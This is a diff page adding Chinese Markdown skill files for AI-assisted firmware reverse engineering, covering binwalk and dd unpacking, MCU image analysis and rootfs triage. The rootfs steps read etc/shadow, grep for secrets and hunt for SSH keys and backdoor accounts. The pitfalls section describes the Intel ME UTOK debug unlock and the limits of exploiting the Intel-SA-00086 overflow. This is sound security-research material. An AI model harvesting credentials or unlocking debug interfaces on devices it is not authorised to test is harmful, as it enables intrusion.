- **套娃模式自动化**:同一手法重复出现(如每层都是"图片+尾部 zip 含下一层")时写循环自动剥——提取尾部 → 修复 → 解压 → 定位下一层 → 重复,直到无附加数据;中间产物每层命名保留(可回滚)
|
||||
|
||||
5. **自动失败时手工切分(dd 按偏移)**:
|
||||
```sh
|
||||
binwalk firmware.bin # 找内嵌文件偏移
|
||||
dd if=firmware.bin of=part1.bin bs=1 skip=<偏移1> count=<长度1>
|
||||
dd if=firmware.bin of=part2.bin bs=1 skip=<偏移2>
|
||||
file part*.bin # 每块验证
|
||||
```
|
||||
厂商自定义头最常见:跳过头部 N 字节后才是标准格式(先 hexdump 目测头长度再切)。
|
||||
|
||||
## MCU 镜像分析(8051 / AVR / PIC / MSP430)
|
||||
|
||||
### 何时进入本节
|
||||
|
||||
- 前置:已走完步骤 1-5(自动解包、magic 扫描、字节序判断、嵌套解包、dd 切分),确认镜像里没有文件系统/ELF/可执行容器
|
||||
- 判断条件(满足即可进入本节):
|
||||
- 无文件系统:binwalk/unblob 零命中或只有少量误报,无 squashfs/cramfs/jffs2 等魔数
|
||||
- 单镜像:体积小(几十 KB 量级)、无分区表、无 bootloader 引导头、无多段结构
|
||||
- MCU 特征:`file` 报 data/unknown;strings 无操作系统与库特征串(无 "libc"、无 RTOS 内核名);镜像开头低地址处是短跳转/向量数据而非可读头
|
||||
- 例外分流:镜像中出现 RTOS 特征(调度器/任务创建字符串、TCB 形态)→ 定位复位向量与启动代码后转 [[re-rtos]]
|
||||
|
||||
### 镜像格式:Intel HEX 与二进制
|
||||
|
||||
- **Intel HEX(.hex)**:ASCII 文本,逐行记录 `:LLAAAATT<数据><校验和>`——LL 数据长度、AAAA 段内地址、TT 记录类型(00 数据 / 01 结束 / 02·04 扩展地址 / 03·05 起始地址)、末字节校验和
|
||||
- 地址可分段不连续:多段记录之间留空,整文件按 bin 反汇编必然错位
|
||||
- 先转内存映像:按记录把数据落位到实际地址(02/04 扩展地址记录决定地址高 16 位),再按 flash 起始基址导入反汇编器
|
||||
- **二进制(.bin)**:原始内存映像,无地址信息,导入时手动给基址
|
||||
- 程序内存布局(泛化,具体值因芯片而异):
|
||||
- flash 起始:0x0000 或芯片映射基址(如 0x8000/0x10000 量级),以复位向量所在位置反推更可靠
|
||||
- 中断向量表:低地址固定区,复位向量位于表内固定偏移(见下节)
|
||||
|
||||
### 向量表定位
|
||||
|
||||
- 复位向量 → 启动代码:从复位向量位置取入口地址,沿此反汇编即为启动序列(禁中断、初始化堆栈/时钟/外设、跳 main)
|
||||
- 复位向量位置各架构不同:8051 在 0x0000、AVR 在 0x0000、MSP430 在 0xFFFE(高地址端)、PIC 多为 0x0000(个别系列另有固定偏移)——按架构查位置,不猜
|
||||
- 跑 RTOS 的固件:复位向量 → 启动代码 → 内核初始化/任务创建 → 调度器启动,衔接 [[re-rtos]] 按任务表拆分
|
||||
|
||||
### ISA 识别与反汇编
|
||||
|
||||
- 识别要点(结合指令字宽、寻址特征、字节序判断):
|
||||
- **8051**:哈佛架构,程序/数据空间分离(MOVC 读程序区、MOVX 访问外部数据区);SFR 特殊功能寄存器(0x80-0xFF 直接寻址);0x20-0x2F 区可位寻址;累加器 A 与 DPTR 主导数据搬运
|
||||
- **AVR**:RISC,32 个通用寄存器(R0-R31)寄存器文件,指令大多单周期;哈佛架构
|
||||
- **PIC**:哈佛架构,寄存器分 bank、靠状态位切换(bank 切换);指令字宽随系列不同(12/14/16 位),导入反汇编器时按对应宽度
|
||||
- **MSP430**:冯诺依曼(统一地址空间),16 位;中断向量表集中在高地址区(0xFFE0-0xFFFF)
|
||||
- 字节序:AVR/PIC/MSP430 为小端;8051 无原生端序指令、多字节数据惯例大端存放(Keil C51 默认大端),与其余三者相反——导入反汇编器时以实际数据确认(多字节常量、跳转目标地址的字节排列为判断依据)
|
||||
- 反汇编:选对应架构的处理器模块导入(Ghidra 含 8051/AVR/PIC/MSP430 处理器支持,[[re-ghidra]];其他反汇编器同样有对应处理器,工具可替换,方法为核心)
|
||||
- 熔丝位/配置位(泛化概念):烧录期配置项(各架构叫法不同:熔丝位/配置位/安全位),烧录时一次性写入,影响时钟源选择、看门狗、代码/读保护等。它不体现在镜像内容里,但决定芯片后续硬件行为——镜像读不到时要先怀疑它
|
||||
|
||||
### 本节常见坑与陷阱
|
||||
|
||||
- **Intel HEX 多段当 bin 直接反汇编**:现象——反汇编错位,地址与代码对不上,全是无效指令;原因——HEX 分段记录地址不连续,且忽略 02/04 扩展地址记录会把高地址段数据落到低地址;对策——先按记录类型把数据落到实际地址(扩展地址记录参与地址合成),生成连续内存视图,再按 flash 基址导入
|
||||
- **向量表偏移猜错**:现象——从文件头直接反汇编得到一堆数据/无效指令,找不到入口;原因——各架构复位向量位置不同(8051/AVR 在 0x0000、MSP430 在 0xFFFE、PIC 多为 0x0000 或系列固定偏移),猜错就从数据开始反汇编;对策——先确认架构,再按该架构复位向量固定位置取入口,从复位向量跟启动代码
|
||||
- **熔丝位锁定读保护,镜像不可得**:现象——芯片读保护开启,读取操作返回全 F/拒绝响应,拿不到完整镜像;原因——烧录期配置位开启了读保护(代码保护),正常读取接口被锁;对策——走替代路径:芯片自带 UART bootloader 交互(若未禁用)、逻辑分析仪采集固件升级/烧录流量([[re-hardware-io]])按协议还原;镜像不可读时不强求,改从行为侧分析(串口输出/协议交互)
|
||||
- **数据 EEPROM 与程序 flash 混淆**:现象——反汇编出大量无效指令,或分析半天发现是数据;原因——镜像含数据 EEPROM/校准表/配置表映像(非易失数据区,独立于程序区),被当成代码;对策——用复位向量/向量表定位程序区起点,程序区之外的高熵/全 F/重复模式段先排除为数据区,再反汇编
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-firmware]]:工作流第 2 步固定调用本技能
|
||||
- 解出的文件系统 → [[re-fw-rootfs]];解出的可运行程序 → [[re-fw-emulate]]
|
||||
- 解出的 ELF → [[re-binary-core]]([[re-format-elf]] / [[re-ghidra]]);发现恶意样本 → [[re-malware]]
|
||||
- 本技能被 [[re-analyze]] 的 triage「分析固件 / IoT 设备」路径调用(re-firmware → re-fw-extract)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **自动解包失败 ≠ 没东西**:现象——binwalk 输出空白或解出 0 字节文件;原因——厂商自定义头/加密层使魔数不匹配,签名库漏判;对策——hexdump 手工扫自定义头(步骤 2),跳过头部偏移再用 dd 切分(步骤 5)
|
||||
- **字节序错 → 全错**:现象——解出的文件/ELF/字符串全乱;原因——大端 ARM/MIPS 固件被当小端处理;对策——先 `file` + `readelf -h` 确认字节序(步骤 3),后续解包/分析全程保持一致
|
||||
- **大端 MIPS 头被 binwalk 漏**:现象——binwalk 识别不出已知文件系统(如 squashfs);原因——签名按小端特征匹配,大端魔数反序;对策——hexdump 手工找反序魔数,按偏移 dd,用 sasquatch 解
|
||||
- **解包产物混入垃圾**:现象——解出的"文件"是随机数据,`file` 报 data;原因——签名误报或切分偏移错位;对策——每个产物 `file` + 看头 16 字节验证 magic,无效即重试偏移
|
||||
- **扩展名与内容不符(伪装扩展名)**:现象——`.jpg` 报 PNG、`.so` 报 tar、`.c` 报 XZ;原因——作者故意用无关扩展名(隐写/套娃/免检场景常见);对策——永远以 `file`/魔数为准,扩展名只当线索;`file` 输出带 "with extra data prepended" 等提示时直接照做
|
||||
- **zip 报错但能列出文件**:现象——`unzip` 报 "missing 4 bytes"/"invalid zip with overlapped components"(zip bomb 误报)或 Python zipfile `OSError: [Errno 22] Invalid argument`;原因——本地文件头缺 `PK\x03\x04` 签名,或数据前有前缀垃圾;对策——先 `unzip -l` 看能否列出(能列出说明 EOCD/中央目录完好),补签名(步骤 4)或用 `UNZIP_DISABLE_ZIPBOMB_DETECTION=TRUE` 强制
|
||||
- **ME 固件(Intel ME / CSME)从启动链入手**:现象——解出 ME 固件分区(FTPR/RBE/BUP)后不知从何下手,代码里一串 ROM_SVC_* 调用看不懂;原因——ME 是独立处理器固件,启动链与普通固件不同:ROM(PCH 内固化,不可提取)验签 FTPR → 解压 RBE(初始化 PCH/SPI、UTOK 校验、boot_cfg)→ kernel(ThreadX RTOS)→ BUP(硬件 bringup,读 boot_cfg 决定开不开 DCI)→ pm/vfs/heci/crypto 等 38 个 user processes;对策——先解 FPT(Flash Partition Table:ME 区域固定偏移处的分区路由表,记录各分区位置/大小/类型——ROM/RBE 无文件系统全靠查它定位分区,UEFIExtract 源码有解析参考),再按 RBE→kernel→BUP 顺序跟进;调试接口/硬件初始化逻辑在 BUP
|
||||
- **UTOK 是 ME 调试解锁的 OEM 后门**:现象——想开 ME 调试接口(DCI/DFX)找不到开关;原因——Intel 为 OEM 留的解锁机制:SPI Flash 的 FPT 分区表中独立 UTOK 分区,写入数据即可解锁 DFX 调试接口(无需硬件熔丝);对策——逆向 RBE 的 `rbe_utok_check` 定位校验逻辑:标志位 UTOK[0x298]==1 才启动调试能力(厂家默认 FF 不启动),且 DCI 开放受多层校验链控制(boot_mode==2、boot_cfg 解析、CT handler 门控、FPF Debug Auth 等),单改标志位不够;定位技巧:ME 运行 base 是 0x4000,字符串偏移按此换算
|
||||
- **ME 固件漏洞利用受 ROM cookie 限制**:现象——ME 固件里找到缓冲区溢出(如 Intel-SA-00086:CT 文件 `num_records`(偏移 +0x06 的 uint16)无校验,record 数超 100 覆写栈 cookie/返回地址),ROP 却打不通;原因——ME 的 cookie 由 ROM(mask ROM 不可提取)在 SRAM 预填充进程上下文表生成,无法像 TXE 平台那样用 TLS 绕过;对策——先确认目标平台 cookie 来源(ROM 生成则溢出利用受限),完整逆向认证链路(UTOK→boot_cfg→CT handler 多层校验)后找非溢出路径
|
||||
- **分块周期变换**:现象——单一全文件 XOR/旋转只在开头有效;原因——变换按块大小(常见 256/512/1024/2048/4096)重置;对策——先按常见 Flash/传输块大小检查变换是否按块重置周期,显式分块解码
|
||||
- **块首自带掩码混淆**:现象——高熵固件被当强加密;原因——分块自带掩码混淆(如 `mask = block[0]`、`plain[i] = ROR8(packed[i], n) XOR mask`(mask 字节自身不参与变换,i 从 1 起));对策——先用强 crib(向量表 SRAM 栈指针/Thumb Reset Vector)约束恢复首块,再验证模型
|
||||
- **众数 crib 不可靠**:现象——文本密集块用众数字节做掩码仍乱码;原因——最常见明文字节不一定是零;对策——改用块首字节模型,验证标准:乱码消失 + 第二份同系列固件复现 + round-trip 逐字节一致
|
||||
- **CRC 字符串 ≠ CRC 字段**:现象——看到 CRC 名字符串就假设末尾是标准 CRC;原因——字符串只是元数据键;对策——系统排除常见 CRC/硬件 CRC/Adler/累加族后保留为未知字段,不强行命名
|
||||
(来源:reverse-skill field-journal,MIT)
|
||||
125
vendor-new/rev-skills/.claude/skills/re-fw-rootfs/SKILL.md
Normal file
125
vendor-new/rev-skills/.claude/skills/re-fw-rootfs/SKILL.md
Normal file
@@ -0,0 +1,125 @@
|
||||
---
|
||||
name: re-fw-rootfs
|
||||
description: >
|
||||
固件文件系统分析:rootfs、配置、密钥、启动脚本。
|
||||
触发词:rootfs、文件系统分析、squashfs、cramfs、配置文件
|
||||
capabilities: [firmware-extraction]
|
||||
---
|
||||
|
||||
# 固件文件系统分析(rootfs)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:已有解包产物 / 文件系统镜像,需要找启动入口、配置、密钥、硬编码口令
|
||||
- 用:需要定位固件内程序与架构(交叉二进制)
|
||||
- 不用:还没有任何解包产物(先 [[re-fw-extract]])
|
||||
- 不用:需要运行固件程序观察行为(走 [[re-fw-emulate]])
|
||||
- 不用:需实物板子(走 [[re-hardware-io]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。本技能纯静态分析可免沙箱([[re-analyze/platform-tips]] 最高原则);解出的程序要运行时转 [[re-fw-emulate]]。
|
||||
|
||||
### 解包工具(unblob / binwalk 产物优先)
|
||||
|
||||
- 已装则直接用 [[re-fw-extract]] 的解包产物;没装按该技能「工具准备」安装
|
||||
- 验证: `unblob --version` / `binwalk --version`
|
||||
|
||||
### 7-Zip(7z)—— 通用容器兜底
|
||||
|
||||
- Linux: `apt install p7zip-full` / `dnf install p7zip-plugins` / `pacman -S 7zip`
|
||||
- macOS: `brew install p7zip`
|
||||
- Windows: `choco install 7zip`(或 7-zip.org 官方安装包)
|
||||
- 验证: `7z i | head -5`(显示版本)
|
||||
|
||||
### squashfs-tools(unsquashfs)
|
||||
|
||||
- Linux: `apt install squashfs-tools` / `dnf install squashfs-tools` / `pacman -S squashfs-tools`
|
||||
- macOS: `brew install squashfs`
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `unsquashfs -version`
|
||||
|
||||
### cramfs 解包(cramfsck)
|
||||
|
||||
- Linux: `apt install cramfsprogs`(Debian/Ubuntu);其他发行版无官方包 → 用 unblob 解 cramfs 兜底
|
||||
- macOS/Windows: unblob 兜底
|
||||
- 验证: `cramfsck -V`
|
||||
|
||||
### grep / ripgrep —— 配置与密钥搜索
|
||||
|
||||
- Linux: `apt install ripgrep` / `dnf install ripgrep` / `pacman -S ripgrep`(grep 随发行版自带)
|
||||
- macOS: `brew install ripgrep`
|
||||
- Windows: `choco install ripgrep`(或 WSL)
|
||||
- 验证: `rg --version` / `grep --version`
|
||||
|
||||
### 交叉 binutils(readelf / objdump 跨架构)
|
||||
|
||||
- Linux: `apt install binutils-arm-linux-gnueabi binutils-arm-linux-gnueabihf binutils-mipsel-linux-gnu binutils-mips-linux-gnu`(Debian/Ubuntu;Fedora: `dnf install binutils-arm-linux-gnu binutils-mips-linux-gnu`)
|
||||
- macOS: `brew install binutils`(`greadelf`)或 `brew install llvm`(`llvm-readelf`)
|
||||
- WSL: Linux 版直接可用
|
||||
- 验证: `arm-linux-gnueabi-readelf --version`;本机 readelf 也能读交叉 ELF 头(`readelf -h`),属性级信息用交叉版 `readelf -A`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。
|
||||
|
||||
1. **挂载/解包文件系统**:
|
||||
```sh
|
||||
# squashfs(最常见)
|
||||
unsquashfs rootfs.squashfs -d rootfs_out
|
||||
# cpio initramfs
|
||||
mkdir rootfs_out && cd rootfs_out && cpio -idmv < ../initramfs.cpio
|
||||
# 通用兜底
|
||||
7z x rootfs.img
|
||||
# cramfs(Debian 系)
|
||||
cramfsck -x rootfs_out rootfs.cramfs
|
||||
# ext 类镜像(需 root,只读挂载)
|
||||
mkdir mnt && mount -o loop,ro rootfs.img mnt
|
||||
```
|
||||
已用 [[re-fw-extract]] 解出则直接进入下一步,跳过此步。
|
||||
|
||||
2. **启动脚本找程序入口**:
|
||||
```sh
|
||||
ls etc/init.d/ etc/rc.d/ 2>/dev/null
|
||||
cat etc/inittab 2>/dev/null
|
||||
cat etc/init.d/rcS 2>/dev/null # 常见主启动脚本
|
||||
```
|
||||
阅读启动顺序:记录先启的服务与固件主程序(httpd / 服务端主进程),分析从它开始;rcS / rc 脚本里常有版本、厂商信息与调试开关。
|
||||
|
||||
3. **配置文件挖密钥/口令**:
|
||||
```sh
|
||||
rg -i "password|passwd|secret|token|key|login|admin" rootfs_out -l
|
||||
cat etc/passwd etc/shadow 2>/dev/null
|
||||
```
|
||||
重点目录:/etc、/usr/share、web 界面目录(固件 web 配置常明文存口令)、wpa_supplicant.conf、SSH 私钥(`find rootfs_out \( -name "*id_rsa*" -o -name "*.pem" \)`)。
|
||||
|
||||
4. **交叉编译二进制定位**:
|
||||
```sh
|
||||
find rootfs_out -type f -exec file {} \; 2>/dev/null | grep ELF
|
||||
# 大镜像改用:
|
||||
find rootfs_out -type f -print0 | xargs -0 file | grep ELF
|
||||
arm-linux-gnueabi-readelf -h rootfs_out/usr/sbin/httpd # Machine + Data 字段确认架构/字节序
|
||||
arm-linux-gnueabi-readelf -A rootfs_out/usr/sbin/httpd # 交叉工具链细节(EABI 等)
|
||||
```
|
||||
重点目录:/bin、/usr/bin、/usr/sbin、/usr/lib;busybox 是软链集合(`ls -la bin/` 看链接目标确认 applet)。
|
||||
|
||||
5. **弱口令/后门账号搜索**:
|
||||
```sh
|
||||
cat etc/passwd
|
||||
rg -i "admin|root|debug|backdoor|telnet" rootfs_out/etc -l
|
||||
```
|
||||
常见:root 空口令/弱口令、telnetd 常驻、默认 admin/admin、调试账号(debug/backdoor);发现后门与可疑程序转 [[re-malware]] 评估。
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-firmware]]:工作流第 3 步固定调用本技能
|
||||
- 固件内 ELF 深挖 → [[re-binary-core]]([[re-format-elf]] / [[re-ghidra]])
|
||||
- 需要运行固件 → [[re-fw-emulate]];发现后门/恶意样本 → [[re-malware]];发现通信 → [[re-protocol]]
|
||||
- 本技能被 [[re-analyze]] 的 triage「分析固件 / IoT 设备」路径调用
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **配置里硬编码密钥/口令常见**:现象——固件里直接躺着 SSH 私钥、WiFi 密码、云平台 API key;原因——IoT 厂商为省成本硬编码;对策——系统性 `rg` 扫全部配置目录与 web 目录,别只看 /etc(步骤 3)
|
||||
- **启动脚本决定分析顺序**:现象——几十个可执行文件不知从哪看起;原因——没先读启动脚本,从随机二进制开刀;对策——先读 rcS / inittab / init.d,按启动顺序定位主程序(步骤 2)
|
||||
- **交叉架构二进制需对应工具链**:现象——本机 readelf 信息不全 / objdump 反汇编失败;原因——缺对应架构 binutils,或架构/字节序认错;对策——装交叉 binutils,`readelf -A` 确认架构与 EABI(步骤 4),确认后再选仿真/反编译工具
|
||||
- **busybox 是软链集合**:现象——bin/ 下全是同名软链,`file` 全部指向同一 ELF;原因——busybox 单二进制多 applet;对策——看软链名即 applet 功能(ls/cat/httpd 等),分析该单一 ELF 即覆盖全部命令
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user